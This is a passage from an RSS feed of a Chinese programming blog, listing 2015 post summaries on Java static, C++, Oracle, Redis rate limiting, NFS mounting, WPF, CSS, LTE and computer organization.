相关专业：电子信息工程），对于static的探究可谓是坚持不懈打破沙锅问到底啊，所以谈谈我的感受。接下来我从static这个关键字来说一说我以上观点的论据。Java语言与其他语言的区别是Write Once, Run Anywhere ，这里就有问题了，编译！那个鼓吹说学高级语言的程序员不需要了解内存，编译原理。我想说，那你永远别说自己想成为Java工程师。为什么？慢慢你就知道了。科普一下啊：&#xA;静态和动态的区别：在为一个语言设计一个编译器时，我们所面对的最重要的问题之一是编译器能够对一个程序做出哪些判定。如果一个语言使用的策略支持编译器静态决定某个问题，那么我们说这个语言使用了静态策略，或者说这个问题可以在编译时刻决定。另外一方面，一个只允许在运行程序的时候做出决定的策略被称为动态策略，或者被认为需要在运行的时刻做出决定。&#xA;我们继续说Java，他的JVM即Java Virtual Machine 帮他做了很多事情，大多数人都知道，但是做了什么事情呢？如何做的呢？详细请见《深入java虚拟机 第二版》这本书。在这里我只简单说下Java虚拟机内存分配问题。内存有堆内存，栈内存。堆内存里新生代和老年代，一般Java对象的创立是放在新生代中的，老年代放的就是static修饰的属于类本身的变量或者方法。为什么属于类本身，注意static修饰的变量或者方法，不是指的作用域，而是编译器确定用于存放被声明的对象的内存位置方式，可以在程序运行之前的编译时刻（compile time）决定，这个名称是相对于只允许在运行程序的时候做出决定的策略的动态策略而来的。&#xA;例如：&#xA;public static int x; 使用x成为一个类变量，也就是不管创建了多少个这个类的对象，只存在一个X的拷贝。此外，编译器可以确定内存中 的被用于存放整数X的位置。反过来，如果这个声明中省略了”static“，那么这个类的每个对象都会有他自己的用于存放X的位置，编译器没有办法在运行程序之前预先确定所有这些位置。 （注：我提到的专业词汇你不懂的话马上去恶补一下Java虚拟机的知识，花不了多长时间，绝对对你理解Java中那些死规定和语法有很大的帮助。那么如果你看Java虚拟机某些章节是发现计算机组成原理里的某些知识你又不明白，还是那句话，回去恶补，直到任督二脉都打通为止） </description>
    </item>
    <item>
      <title>如何用C&#43;&#43;函数实现类似三目运算符的功能</title>
      <link>https://bchobby.github.io/posts/9c450cb679f9f23e8cc0aeb97acda0dd/</link>
      <pubDate>Wed, 09 Sep 2015 18:55:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c450cb679f9f23e8cc0aeb97acda0dd/</guid>
      <description>问题引出 今天aikilis问了我二个问题： 1 下面这段代码合法吗？&#xA;( i &amp;gt; 0 ? i : j ) = 1; 2 如何用一个原型为quest(bool,type,type)的函数实现三目符的功能？&#xA;经试验，第一个问题的答案是肯定的，虽然原来从没这么用过。 第二个问题确实费了很多脑筋。&#xA;三目符的性质 void test0() { int i = 0, j = 0, k; ( i &amp;gt; 0 ? i : j ) = 3; // ok ( i &amp;gt; 0 ? i : 2 ) = 3; // error ( i &amp;gt; 0 ? 1 : j ) = 3; // error ( i &amp;gt; 0 ?</description>
    </item>
    <item>
      <title>HTTP Error 12057 - SSL Revocation(解决geen的问题)</title>
      <link>https://bchobby.github.io/posts/4267b01274eba19037fd152fd926cc8d/</link>
      <pubDate>Wed, 09 Sep 2015 11:02:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4267b01274eba19037fd152fd926cc8d/</guid>
      <description>This error is happening because the program GenoPro uses a secure encrypted protocol (SSL) to connect to the server GenoPro.com. Under rare conditions, your computer may display the error below because it is unable to validate the SSL certificate.&#xA;HTTP Error 12057: Unable to validate the revocation of the SSL certificate because the revocation server is unavailable&#xA;You will only see the error if you are working with secure sockets (https protocol).</description>
    </item>
    <item>
      <title>hive报错FAILED: NullPointerException null原因</title>
      <link>https://bchobby.github.io/posts/9790284504953b4135a343a5527f84fe/</link>
      <pubDate>Sat, 05 Sep 2015 15:46:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9790284504953b4135a343a5527f84fe/</guid>
      <description> hsql语句错误，请检查hive sql 语句 </description>
    </item>
    <item>
      <title>20150904看电影学英语</title>
      <link>https://bchobby.github.io/posts/a3f168c327ef7a8a61c3c9b0f5133b6c/</link>
      <pubDate>Fri, 04 Sep 2015 09:23:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3f168c327ef7a8a61c3c9b0f5133b6c/</guid>
      <description> report for duty 前来报到at stake 危急时刻the hell 究竟 there is no shame of ……没什么可丢脸的determined 坚定的one too many 很多次i`ll say 我看也是fair enough 同意，接受 （表达理解了，接受了别人的意见，决定，行为）pull off 靠边停车 ，pull it off 圆满成功，圆满地实现了 </description>
    </item>
    <item>
      <title>20150902 --Oracle学习笔记</title>
      <link>https://bchobby.github.io/posts/e162f4940326517005852412176d2220/</link>
      <pubDate>Wed, 02 Sep 2015 20:16:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e162f4940326517005852412176d2220/</guid>
      <description>第二天 基本概念–数据库服务器、数据主和表的关系 所谓安装数据库服务器，只是在机器上装了一个数据库管理程序，这个管理程序可以管理多个数据库，一般开发人员会针对每个应用创建一个数据库。 为保存应用中实体的数据，一般会在数据库创建多个表，以保存程序中实体的数据。 数据库服务器、数据库和表的关系如图所示：&#xA;基本概念–数据在数据库中的存储方式 数据存在方式(主要是以表的形式)&#xA;表的管理–创建表(基本语句) 建表的基本语法： create table table_name( field1 datatype, field1 datatype, field1 datatype, … ) 注:table_name表名；field指定列名(字段名)；datatype指定列类型(字段数据类型) 注意：创建表时，要根据需保存的数据创建相应的列，并根据数据的类型定义相应的列类型。 例：user对象 id int name string password string birthday date&#xA;快速入门示例： SQL&amp;gt; create table users( id number, name varchar2(32), password varchar2(32), birthday date); Id Name Password birthday&#xA;表的管理–oracle常用数据类型 分类 数据类型 说明 文本、二进制类型 char(size) char(20) varchar(size) varchar(20) nchar(n) nvarchar2(n) clob(character large object) blob(binary large object) 定长 最大2000字符 变长 最大4000字符 Unicode数据类型，定长 最大2000字符 Unicode数据类型，变长 最大4000字符 字符型大对象，最大8TB 二进制数据 可以存放图片/声音 8TB 数值类型 number(p,s) p为整数位,s为小数位.</description>
    </item>
    <item>
      <title>ABAP 关于出口(user-exit)MV50AFZ1的一些问题</title>
      <link>https://bchobby.github.io/posts/71e7a60689dabf927798b76ab4d5d8f5/</link>
      <pubDate>Mon, 31 Aug 2015 17:17:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71e7a60689dabf927798b76ab4d5d8f5/</guid>
      <description>正文部分 首先说一下&#xA;销售订单的出口：MV45AFZZ&#xA;外向交货单出口：MV50AFZ1&#xA;以下问题，转自网上&#xA;问题一：&#xA;在MV50AFZ1这个出口的子程序FORM USEREXIT_SAVE_DOCUMENT_PREPARE.中进行了一些控制，当VL01N创建交货单点击保存的时候检查行项目的信息，如果有问题给出TYPE &#39;E&#39;的红灯错误，一般有错误提醒的时候，整个页面是不可编辑的状态，但是双击或者点击其他视图的话，页面又是可编辑了，这个时候用户把出现红灯错误的行项目删除，重新保存。问题就在这里了，我不知道这种情况下的操作，被删除的行项目是不是已经更新到什么地方了，虽然交货单里面没有这个行项目信息，但是跑MRP的时候，这个被删除的行项目居然能跑出需求，并产生一个计划订单，给生产部门造成极大的困扰。&#xA;跑程序SDRQCR21看看, 如果需求没有了, 表明是SAP在产生需求的时候有错误!&#xA;问题二：&#xA;哪位通过MV50AFZ1这个user exit 中的FORM USEREXIT_SAVE_DOCUMENT&#xA;改过 inbounde delivery item category?&#xA;尝试用FORM USEREXIT_MOVE_FIELD_TO_LIPS&#xA;点击进入：关于出口(user-exit)MV50AFZ1的一些问题</description>
    </item>
    <item>
      <title>[MFC]使用强大的第三方串口类 CSerialPort</title>
      <link>https://bchobby.github.io/posts/07f59888c235a7d05157af5a6c7715fe/</link>
      <pubDate>Sun, 30 Aug 2015 22:02:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07f59888c235a7d05157af5a6c7715fe/</guid>
      <description>原创文章，欢迎转载。转载请注明：转载自 祥的博客&#xA;原文链接：http://blog.csdn.net/humanking7/article/details/48110543&#xA;最近要写一个串口程序，用MFC自带COM组件的效果很差(一次接收一个缓冲区的数据，没办法像写嵌入式程序那样单字节就能触发中断接收那样)，所以进行了一些研究，发现了一个 第三方串口类 很强大，效果非常好。&#xA;资源下载 第三方串口类资源下载：http://download.csdn.net/detail/humanking7/9064717&#xA;步骤详解 编程环境：VS2008&#xA;Step1 构建界面 建立一个基于对话框的MFC应用程序，我在这里是 SerialPortTest ，画的界面如下：&#xA;)&#xA;Step2 添加第三方类 将 SerialPort.h 和 SerialPort.cpp 两个文件复制到工程所在的文件夹中，而且添加到工程里，并在MFC生成的对话框类的头文件中包含 #include &#34;SerialPort.h&#34;&#xA;Step3 添加串口响应函数 在我的对话框类中( class CSerialPortTestDlg : public CDialog 在 SerialPortTest.h 头文件中) 添加串口字符接收消息 WM_COMM_RXCHAR（串口接收缓冲区内有一个字符）的响应函数声明：&#xA;public: //****************************************** afx_msg LONG OnCommunication(WPARAM ch, LPARAM port);//串口接收处理函数 //****************************************** 然后再在 SerialPortTest.cpp 中进行 WM_COMM_RXCHAR 消息映射：&#xA;BEGIN_MESSAGE_MAP(CSerialPortTestDlg, CDialog) ········· //****************************************** ON_MESSAGE(WM_COMM_RXCHAR, OnCommunication)//串口接收处理函数 //****************************************** ········· END_MESSAGE_MAP() 最后在 SerialPortTest.cpp 对串口接收响应函数进行实现：&#xA;LONG CSerialPortTestDlg::OnCommunication(WPARAM ch, LPARAM port) {//串口接收 处理函数 ······ return 0; } Step4 初始化串口 其实就是打开串口和关闭串口 首先 class CSerialPortTestDlg : public CDialog 类加入一个 Public 的成员变量 m_Com :</description>
    </item>
    <item>
      <title>群晖 设置NFS服务</title>
      <link>https://bchobby.github.io/posts/48e187c95611f1d518c31f283e81a061/</link>
      <pubDate>Sat, 29 Aug 2015 08:23:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48e187c95611f1d518c31f283e81a061/</guid>
      <description>1,设置群晖&#xA;2, 测试NFS服务运行状态&#xA;在客户端：showmount -e 192.168.0.112，会列出NFS目录&#xA;3, MOUNT&#xA;在客户端：sudo mount -t nfs 192.168.0.112:/volume1/homes ~/dsm_nfs&#xA;总结：很奇怪的问题，上图”服务器名称或IP地址“ 写成192.168.0.*，在用其它客户端mount时会出现mount.nfs: access denied by server while mounting，然后写成*后，可以mount成功，再改回192.168.0.*也能成功，不会出错了。在ubuntu中查看 上次命令的错误日志方法有待添加</description>
    </item>
    <item>
      <title>WPF_无效ALT&#43;F4</title>
      <link>https://bchobby.github.io/posts/f0a5ed69347b5b8dce402bf535f63144/</link>
      <pubDate>Tue, 25 Aug 2015 13:39:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0a5ed69347b5b8dce402bf535f63144/</guid>
      <description>/// &amp;lt;summary&amp;gt; /// Alt + F4 无效化处理 /// &amp;lt;/summary&amp;gt; /// &amp;lt;param name=&#34;window&#34;&amp;gt;Alt + F4 要无效的窗口&amp;lt;/param&amp;gt; /// &amp;lt;returns&amp;gt;Alt + F4 无效化处理&amp;lt;/returns&amp;gt; /// &amp;lt;remarks&amp;gt;返回Action是方便调用处需要同时进行很多处理时+=，-=用&amp;lt;/remarks&amp;gt; internal static Action DisableAltF4(Window window) { var source = HwndSource.FromHwnd(new WindowInteropHelper(window).Handle); source.AddHook(DisableAltF4WndHookProc); return () =&amp;gt; source.RemoveHook(DisableAltF4WndHookProc); } /// &amp;lt;summary&amp;gt; /// Alt + F4无效化窗口消息 /// &amp;lt;/summary&amp;gt; private static IntPtr DisableAltF4WndHookProc(IntPtr hwnd, int msg, IntPtr wParam, IntPtr lParam, ref bool handled) { const int WM_SYSKEYDOWN = 0x0104; const int VK_F4 = 0x73; if (msg == WM_SYSKEYDOWN &amp;amp;&amp;amp; wParam.</description>
    </item>
    <item>
      <title>css - 一种让超大banner图片不拉伸、全屏宽、居中显示的方法</title>
      <link>https://bchobby.github.io/posts/58214c20705cb7900c38f9c0d2e5a374/</link>
      <pubDate>Mon, 24 Aug 2015 17:05:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58214c20705cb7900c38f9c0d2e5a374/</guid>
      <description>&amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;Title&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; .bannerbox { width:100%; position:relative; overflow:hidden; height:200px; } .banner { width:3000px; position:absolute; left:50%; margin-left:-1500px; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;bannerbox&#34;&amp;gt; &amp;lt;div class=&#34;banner&#34;&amp;gt; &amp;lt;img src=&#34;t1.jpg&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 效果不会随着显示器的大小或者拉伸而改变。&#xA;ฅ՞•ﻌ•՞ฅ ~ 厚着脸皮要个赞赏哈 ~ ฅ՞•ﻌ•՞ฅ</description>
    </item>
    <item>
      <title>redis实现访问频次限制的几种方式</title>
      <link>https://bchobby.github.io/posts/cd830dbc0e06317b2fcb2f8b6019039c/</link>
      <pubDate>Sun, 23 Aug 2015 12:25:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd830dbc0e06317b2fcb2f8b6019039c/</guid>
      <description>结合上一篇文章《redis在学生抢房应用中的实践小结》中提及的用redis实现DDOS设计时遇到的expire的坑。其实，redis官网中对incr命令的介绍中已经有关于如何用redis来做rate limit的探讨。这里将实现的两种模式翻译一下，并适当加了一些批注说明，原文可见官网。&#xA;模式：Rate limiter 频次限制器模式是一种特殊的计数器，它常被用来限制某个操作可以被执行的频次。这个模式的实质其实是限制对一个公共API执行访问请求的次数限制。我们使用incr命令提供该模式的两种实现。这里我们假设需要解决的问题是：对每个IP，限制对某API的调用次数最高位10次每秒。&#xA;模式：Rate limiter 1 对该模式一个相对简单和直接的实现，请见如下代码：&#xA;FUNCTION LIMIT_API_CALL(ip) ts = CURRENT_UNIX_TIME() keyname = ip+&#34;:&#34;+ts current = GET(keyname) IF current != NULL AND current &amp;gt; 10 THEN ERROR &#34;too many requests per second&#34; ELSE MULTI INCR(keyname,1) EXPIRE(keyname,10) EXEC PERFORM_API_CALL() END 简单来说，我们对每个IP的每一秒都有一个计数器，但每个计数器都有一个额外的设置：它们都将被设置一个10秒的过期时间。这可以使得当时间已经不是当前秒时（此时该计数器也无效了），能够让redis自动移除它。&#xA;需要注意的是，这里我们使用multi和exec命令来确保对每个API调用既执行了incr也同时能够执行expire命令。&#xA;multi命令用于标识一个命令集被包含在一个事务块中，exec保证该事务块命令集执行的原子性。&#xA;模式：Rate limiter 2 另外的一种实现是采用单一的计数器，但是为了避免race condition（竞态条件），它也更复杂。我们来看几种不同的变体：&#xA;FUNCTION LIMIT_API_CALL(ip): current = GET(ip) IF current != NULL AND current &amp;gt; 10 THEN ERROR &#34;too many requests per second&#34;</description>
    </item>
    <item>
      <title>Ubuntu 建立桌面快捷方式</title>
      <link>https://bchobby.github.io/posts/32607520a39fa1ba3e4174b817ecb433/</link>
      <pubDate>Thu, 13 Aug 2015 21:30:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32607520a39fa1ba3e4174b817ecb433/</guid>
      <description>很多时候，在Ubuntu下软件可以通过命令安装，但是有时候比较方便的方法就是下载一个压缩包，解压就可以使用了。但是每次使用都要先跳到解压目录，这就比较麻烦。所以可以通过创建桌面快捷方式来解决这个问题。 我的Android-Studio是解压到这个文件夹下面的，每次要运行都需要用终端切换到这个目录然后运行&#xA;./studio.sh 在桌面新建一个文件，将下列代码贴进去&#xA;[Desktop Entry] Version=1.0 Name=eclipse Exec=/home/tenma/Document/android-studio/bin/studio.sh Termina=false Icon=/home/tenma/Document/android-studio/bin/studio.ico Type=Application Categories=Development 上面代码的Exec替换为你的应用的目录，Icon也可替换为自己的，然后保存为XXX.Desktop就可以了 我的快捷方式就建立成功了。&#xA;小编才疏学浅，有很多问题仅仅是从自己经验出发，有任何说的不对的地方请大家多多包含并指出来，不甚感激。</description>
    </item>
    <item>
      <title>计算机组成原理之 I/O总结---来自北大陆俊林老师的视频内容(3)</title>
      <link>https://bchobby.github.io/posts/30f64ec10d49a78ab5a64c8cbbfba018/</link>
      <pubDate>Thu, 13 Aug 2015 08:48:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30f64ec10d49a78ab5a64c8cbbfba018/</guid>
      <description> 1. 输入输出设备 这些输入输出接口各式各样的, 有数字的有模拟的也有串行的有并行的 , 如此千差万别的设备没法和CPU直接进行连接 , 因此我要在CPU和这些设备之间设置一个中转站: 输入输出接口 , 也被称为I/O接口 . 在现代的计算机系统当中 , 往往把跟输入输出相关的设备分成两个类型:一部分是I/O接口 , 这可能是插在计算机主板上的一块插卡 , 也有可能是主板上的一块芯片 ,它内部会有一些寄存器 , CPU通过系统总线去访问I/O接口当中的这些寄存器 , 而这些I/O接口还会有一些管脚与外部的设备相连 ,这种划分的代表就是显卡和显示器 , 显卡是I/O接口 , 显示器则是外设 。这样的划分和冯诺依曼结构是不能完全一一对应的 ， 在这里我们描述的是现代计算机发展过程中一种具体的实现 这是一种最简单的I/O接口 ， 并行接口 与复杂外设相连时 ， 除了8根数据信号外 ， 还有2根用于通信联络的信号 ，这俩个信号称为握手信号 在一些紧凑型的设备中，如平板电脑 和 智能手机 ， 这些I/O接口甚至和CPU一起集成到一个芯片上 ， 但不管是哪一种形式 ， 这些I/O接口的功能大多数是独立存在的 ，而且他们也需要各自的管脚 连线 与对应的外设相连 ，从而让CPU与外设交互。 2. 输入输出接口的编址方式 CPU的运算能力很强 ， 但它与外界沟通的手段却十分单一 ，它总是希望我给你一个地址 ，你给我一个数据 ，这样直白的沟通方法 ， 所以它平时也只能和存储器这样胸怀宽广 ，头脑简单的家伙一起玩 ，然而面对复杂的外设它就应付不了了 ，所以它就找了I/O接口来帮它打理外部世界 I/O端口的地址是从新编排的 , 一般的I/O端口的数量都表存储器数量少的多 ,如图所示的编址方式为分开编址 ,在这种编址情况下 ,需要用特殊的指令 , x86提供 如下指令 </description>
    </item>
    <item>
      <title>计算机组成原理之存储器总结---来自北大陆俊林老师的视频内容(2)</title>
      <link>https://bchobby.github.io/posts/809da27afc2f384af03f65d19358e9b9/</link>
      <pubDate>Wed, 12 Aug 2015 17:24:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/809da27afc2f384af03f65d19358e9b9/</guid>
      <description>1. 首先科普下 Mbps Mbps=Mbit/s即兆比特每秒。Million bits per second的缩写 传输速率是指设备的的数据交换能力，也叫“带宽”，单位是Mbps（兆位/秒）,目前主流的集线器带宽主要有10Mbps、54Mbps/100Mbps自适应型、100Mbps和150Mbps四种。1Mbps代表每秒传输1,048,576位，即每秒传输的数据量为:1,048,576/8=128K字节/秒=131072字节/秒 注意： 字母大小写的区别，小写b代表bit，大写B代表Byte，不能混用；Mbps缩写中严格限定M为大写，b、p、s为小写 常用单位还有Kbps 、Mbps 、Gbps（同样K、M、G严格限定为大写，参见KB）&#xA;2. 高速缓存 计算机运行程序的一个特点: cache就是利用了程序的局部性原理设计出来的, 当CPU访问主存时 , 实际上是把地址发给了cache , 最开始cache里面是没有数据的 , 所以cache会把地址发给主存 , 然后在主存中取出对应的数据 , 这些都是用计算机硬件完成的 cache 主要组成 SRAM 和逻辑控制电路 3. 高速缓存的组织结构 评价访存性能: 所以对于现在的cache来说 , 能够提高一点的命中率就能很好的性能提升 如何解决冲突失效????&#xA;当如图的 三个地址 , 如果系统不断地访问如图三个数据块 , 这样cache每次都没有命中 , 不如没有cache . 产生二路组相联cache ,取所有标签进行比较 , 这样在多路组相联的cache灵活性虽然高,但是控制逻辑电路很复杂 , 既增加了延迟又增加了功耗 , 如果划分的路数过多 ,虽然可能降低了失效率 , 但增加了命中时间 , 这样得不偿失了 . 而且也不一定能降低失效率 , 因为在多路组相联的cache当中 , 同一个数据块可以放在不同的地方 , 但如果这些地方都被占用了, 就要选择一行替换出去 , 这个替换算法好不好 , 就会对性能有很大影响 .</description>
    </item>
    <item>
      <title>计算机组成原理之存储器总结---来自北大陆俊林老师的视频内容(1)</title>
      <link>https://bchobby.github.io/posts/f551ae6320fe665932f2d19aa211acf2/</link>
      <pubDate>Wed, 12 Aug 2015 08:29:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f551ae6320fe665932f2d19aa211acf2/</guid>
      <description>1. 存储结构概况 2. DRAM和SRAM SRAM 根据外部送入的行地址和列地址生产行选择信号和列选择信号 选中存储单元 . SDRAM是在DRAM的基础上对输入输出接口进行同步,从而提高了读写效率,而现在更为常用的内存则是在SDRAM的基础上又进行了进一步的改进. 如DDR1 SDRAM, DDR2 SDRAM ,DDR3 SDRAM. DRAM 将上述的基本单元组成存储阵列 , 有地址信号,片选信号 , 读写 信号. SRAM 是由晶体管组成 ,自然有了它的优势和缺点 根据它们不同的特点用在不同的场合上 3. 主存的工作原理 以同步的DRAM为例 当CPU访问存储器时 ，先要申请系统总线 ，在获得总线的控制权后，会将地址发到内存控制器中对于一个32位的CPU这个地址就是32位的 ，注意在这个时候地址不会分为行地址和列地址 ， 而是只有一个地址 ， 然后内存控制器会将这个地址进行分解 ， 形成行地址和列地址等多个部分 ，然后内存控制器会向DRAM芯片发起访存操作（预充电【可能有也可能没有】 和 行访问 ），进行行访问时 ，内存控制器通过总线发出的行地址会被DRAM芯片中行译码器接收到 ， 就会在存储阵列中选出对应的那一行 ， 这一行所有的存储单元的都会被放大之后放到缓冲区当中（此过程被称为是激活或者行访问过程）。只有等这个缓冲区的信号都稳定了 ， 我们才可以进行下一步的操作。因此我们需要关注的一个时间就叫tRCD , 时间的长短是由DRAM本身的特性决定的 。等tRCD之后内存控制器发出列地址 , 由列地址译码器接收 ，之后到缓存区选出对应的那一列 ，如果现在进行读操作 ， 被选中的存储单元的数就会送到数据输出接口上去。从发出列地址到选中存储单元里的数的过程 称为列访问过程，列访问也需要时间，从列选到数据输出的延迟。当DRAM送出数据之后 ， 内存控制器就会采样对应的数据，然后将采样的数据送入到CPU当中 ， 那过段时间CPU又会发出访存的地址 ，如果这次访问的数据和刚才访问的地址在同一行，那不需要发行地址，只需要发列地址 ，从缓存区中取相应的地址就行了。 当然如果不在一行 ，那么需要把激活的一行关闭，这一过程我们称为预充电 ，实际上预充电可以最早在前一次传输 ， 后一个数据即将送出的时候开始，因为我们不确定下次传输到底会不会在同一行 ， 所以我们用两种可以选择的策略：1）一种方式是等到新的传输开始如果发现要访问的数据不在已经被激活的这一行 , 那时再进行预充电 。2)另一种方式是在一次传输之后就进行预充电， 这样是在下一次的传输是在同一行概率不高的情况下，反而会获得更好的性能 ，预充电也需要花一定的时间的，tRP 从此可以看出 ，虽然内存的时钟频率是7.</description>
    </item>
    <item>
      <title>LTE：系统信息（System Information）的调度</title>
      <link>https://bchobby.github.io/posts/e1fca2b6778234e25a3618ed7b57eb28/</link>
      <pubDate>Tue, 04 Aug 2015 16:00:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1fca2b6778234e25a3618ed7b57eb28/</guid>
      <description>系统信息（SI）的调度&#xA;小区搜索过程之后，UE已经与小区取得下行同步，得到小区的PCI（Physical Cell ID）以及检测到帧的timing（即10ms timing）。接着，UE需要获取到小区的系统信息（System Information），以便接入该小区并在该小区内正确地工作。&#xA;系统信息是小区级别的信息，即对接入该小区的所有UE生效。系统信息是以系统信息块（System Information Block，SIB）的方式组织的，每个SIB包含了与某个功能相关的一系列参数集合。SIB的类型包括：&#xA;图：系统信息类型 并不是所有的SIB都必须存在。例如对于运营商的基站而言，就不需要SIB9，如果某小区不提供MBMS，就不需要SIB13。&#xA;有3种类型的RRC消息用于传输系统信息：MIB消息、SIB1消息、一个或多个SI消息。&#xA;图：3类用于发送系统信息的RRC消息&#xA;注意：物理层限制了某个SIB（个人觉得更好的描述是SI和SIB1）的最大size。如果使用DCI format 1C，则最大size为1736 bit（217 byte）；如果使用DCI format 1A，则最大size为2216 bit（277 byte）。&#xA;MIB在PBCH上传输。BCH时域上位于子帧0的第2个slot的前4个OFDM symbol，频域上占据72个中心子载波（不含DC）。对应RE不能用于发送DL-SCH数据。&#xA;图：BCH传输信道的资源映射&#xA;图：MIB在时域上的调度 SIB1的周期为80ms，且在该周期内SFN % 2 = 0的系统帧的子帧5上重复发送同一SIB1。但与MIB所在的时频位置固定不同，SIB1和SI消息都在PDSCH上传输，且SIB1和SI消息所占的RB（频域上的位置）及其传输格式是动态调度的，并由SI-RNTI加扰的PDCCH来指示。&#xA;图：SIB1在时域上的调度&#xA;每个SI消息包含了一个或多个除SIB1外的拥有相同调度需求的SIB（这些SIB有相同的传输周期）。一个SI消息包含哪些SIB是通过schedulingInfoList指定的。每个SIB只能包含在一个SI消息中，且SIB2总是放在schedulingInfoList指定的SI列表的第一个SI消息项中，所以schedulingInfoList中并不指定SIB2所在的SI。&#xA;图：SIB1信息（包含了SI的调度信息）&#xA;每个SI消息只在一个SI窗口（SI-windows）中传输：1）一个SI消息跟一个SI窗口相关联，该SI窗口内只能发这个SI消息且可以重复发送多次（发多少次，在哪些子帧上发送等，取决于eNodeB的实现），但不能发送其它SI消息；2）SI窗口之间是紧挨着的，既不重叠，也不会有空隙；3）所有SI消息的SI窗口长度都相同；4）不同SI消息的周期是相互独立的。&#xA;前面我们已经介绍过MIB和SIB1的时域调度，接下来我们会详细介绍SI消息的时域调度。&#xA;首先需要确认每个SI消息对应的SI窗口的起始位置以及SI窗口的长度。&#xA;SI窗口的长度由SystemInformationBlockType1的si-WindowLength字段指定，其以ms为单位。&#xA;SystemInformationBlockType1的schedulingInfoList指定了SI消息的列表，每个SI消息在该列表中的顺序以n表示（从1开始）。假如schedulingInfoList中指定了4个SI消息，则会有4个连续的SI窗口用于发送这4个SI消息，而n表明了SI消息在第几个SI窗口。&#xA;此时每个SI消息有一个x = (n - 1) * w，其中w为si-WindowLength。可以看出，x是以ms为单位的。&#xA;则SI窗口的起始帧满足SFN % T = FLOOR(x / 10)，其中T为对应SI消息的周期，由si-Periodicity指定。SFN % T保证了SI的周期，FLOOR(x / 10)确定SI窗口在周期内的起始系统帧（一个系统帧为10ms，所以有x / 10）。&#xA;SI窗口的起始子帧为#a，其中a = x % 10。&#xA;从公式可以看出，x决定了SI窗口在该SI周期内的起始帧和起始子帧； SFN % T保证了SI窗口在SI周期内只出现一次；而x = (n - 1) * w保证了SI窗口之间紧挨，不重叠，没有空隙。(SI窗口起始帧和起始子帧的的计算，详见36.</description>
    </item>
    <item>
      <title>linux系统中如何查看最后一封mail</title>
      <link>https://bchobby.github.io/posts/d8391e8ff07b80308585c47edf0afb81/</link>
      <pubDate>Fri, 31 Jul 2015 11:11:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8391e8ff07b80308585c47edf0afb81/</guid>
      <description>对于mail的指令网上都烂大街了，再次我就不在重复了，这里只和大家说一下我遇到的情况并且说一下技巧。&#xA;最近由于做了linux的时间同步，并且设定了crontab，故此每次执行都会生成一个mail，里面有时间同步之后的时差记录，每次巡检的时候都需要看一下上次的时差，而又好久没清理过mail文件了，故此好几万个mail如果一个一个找太费事，如果能直接看后一封mail的话就最好了，肯定是最新的邮件。&#xA;直接使用什么z或者Z命令去看后面的邮件不太方便，并且由于日期格式的原因判断起来很麻烦。故此想了一个简单的方法直接查看最新的一封邮件。&#xA;先使用file命令查看一共有多少封邮件。&#xA;使用file命令可知一共有1640封邮件，正常来讲最后一封应该是最新生成的邮件。&#xA;我们直接键入1640来访问这封mail，看看是否是我们所需要的最新邮件。&#xA;可以看到时间是31日11点的邮件，正好符合我们现在的日期和时间。&#xA;至此我们查看最新一封邮件的目的达成。</description>
    </item>
    <item>
      <title>判断区域相交的方法</title>
      <link>https://bchobby.github.io/posts/be9b3595c1571610c264305cf46d1f2f/</link>
      <pubDate>Thu, 30 Jul 2015 00:38:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be9b3595c1571610c264305cf46d1f2f/</guid>
      <description>package KconniePong; // 两个矩形都是平行于X,Y轴，判断是否相交。两种方法，都需要检查特殊情况。 public class RectangleIntersect { // 方法一：矩阵在X,Y轴上的投影都在另一矩形投影的一侧，则矩阵必定无交集；否则，有交集。 boolean isRectIntersect(Rectangle a, Rectangle b) { // 需要排除特殊情况：一个矩形在另一个矩形内 if ((a.top &amp;lt; b.top &amp;amp;&amp;amp; a.bottom &amp;gt; b.bottom &amp;amp;&amp;amp; a.right &amp;lt; b.right &amp;amp;&amp;amp; a.left &amp;gt; b.left) || (b.top &amp;lt; a.top &amp;amp;&amp;amp; b.bottom &amp;gt; a.bottom &amp;amp;&amp;amp; b.right &amp;lt; a.right &amp;amp;&amp;amp; b.left &amp;gt; a.left)) { return false; } if ((a.top &amp;lt; b.bottom &amp;amp;&amp;amp; a.right &amp;lt; b.left) || (a.bottom &amp;gt; b.top &amp;amp;&amp;amp; a.left &amp;gt; b.</description>
    </item>
    <item>
      <title>gridview横向滑动</title>
      <link>https://bchobby.github.io/posts/3c495b54a58c7fb049b7bf7033917303/</link>
      <pubDate>Sun, 12 Jul 2015 18:05:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c495b54a58c7fb049b7bf7033917303/</guid>
